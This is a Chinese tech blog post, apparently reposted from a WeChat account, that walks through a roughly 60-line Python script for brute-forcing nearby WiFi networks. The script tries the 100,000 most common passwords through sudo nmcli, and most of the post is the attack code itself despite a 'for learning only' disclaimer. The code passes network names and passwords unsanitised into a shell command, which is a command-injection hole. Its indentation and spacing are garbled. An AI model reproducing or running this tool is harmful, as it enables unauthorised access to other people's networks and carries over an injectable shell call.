當前位置:首頁 > 科技 > 正文

解鎖WiFi密碼,我隻用了60行代碼....

解鎖WiFi密碼,我隻用了60行代碼.... 2021-12-31 15:00

以下文章來源于平凡而詩意,作者Jackpop

WiFi現在已經遍布我們生活方方面面,如今,如論到工作單位,還是租住的房子,或者一家餐廳,随處都可以連上WiFi。

因此,我們對WiFi密碼的需求也沒有之前那麼迫切了。

如何破解WiFi密碼?

本文,将會通過Python教大家如何實現,這裡純粹是為了學習用途。

1. WiFi列表

首先,我們需要獲取附近的WiFi列表。

下面,就來寫一個函數來獲取附近的WiFi列表,函數命名為display_targets:

def display_targets(networks, security_type):
print("Select a target: \n")

rows, columns = os.popen('stty size', 'r').read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
spacer = " "

if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)

for index in range(calc):
spacer += "."
if index == (calc-1):
spacer += " "

print(str(i+1)+". "+networks[i]+spacer+security_type[i])

這裡,我們會用到ssid工具包,用來獲取附近的WiFi列表,存入到參數networks。

2. 選擇WiFi

獲取WiFi列表之後,下一步要做的就是選擇我們想要連接的WiFi,

def prompt_for_target_choice(max):
whileTrue:
try:
selected = int(input("\nEnter number of target: "))
if(selected >= 1and selected <= max):
return selected - 1
except Exception as e:
ignore = e

print("Invalid choice: Please pick a number between 1 and " + str(max))

這裡很簡單,就是一些通用的Python功能。

3. 暴力破解

目前已經獲取并且選擇了想要連接的WiFi,那麼如何獲取到它的密碼呢?

這裡要用到一種比較常見的方式:暴力破解。

這裡,要用到Github上一個項目,它收集了最常用的10萬個WiFi密碼。我們就用着10萬個密碼暴力解鎖WiFi即可。

def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()

# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")

if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)

if (len(decoded_line) >= 8):
time.sleep(3)

creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()

# print(creds)

if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3個函數就完成了,隻用了60行Python代碼!

下面就把它們串聯在一起:

def main():
require_root()
args = argument_parser()

# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)

# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]

ifnot networks:
print("No networks found!")
sys.exit(-1)

display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

brute_force(target, passwords, args)

執行函數,就會在命令行下顯示附近的WiFi列表,選擇之後就開始逐個嘗試密碼。

不同的顔色代表不同不同的結果:

  • 紅色:測試失敗
  • 綠色:破解成功
  • 紫色:測試中

現在,是不是發現這個看上去很複雜的事情變得簡單許多?

Python愛好者社區

人生苦短,我用Python。分享Python相關的技術文章、工具資源、精選課程、視頻教程、熱點資訊、學習資料等。每天自動更新和推送。

91篇原創内容

公衆号

你可能想看:

有話要說...

取消
掃碼支持 支付碼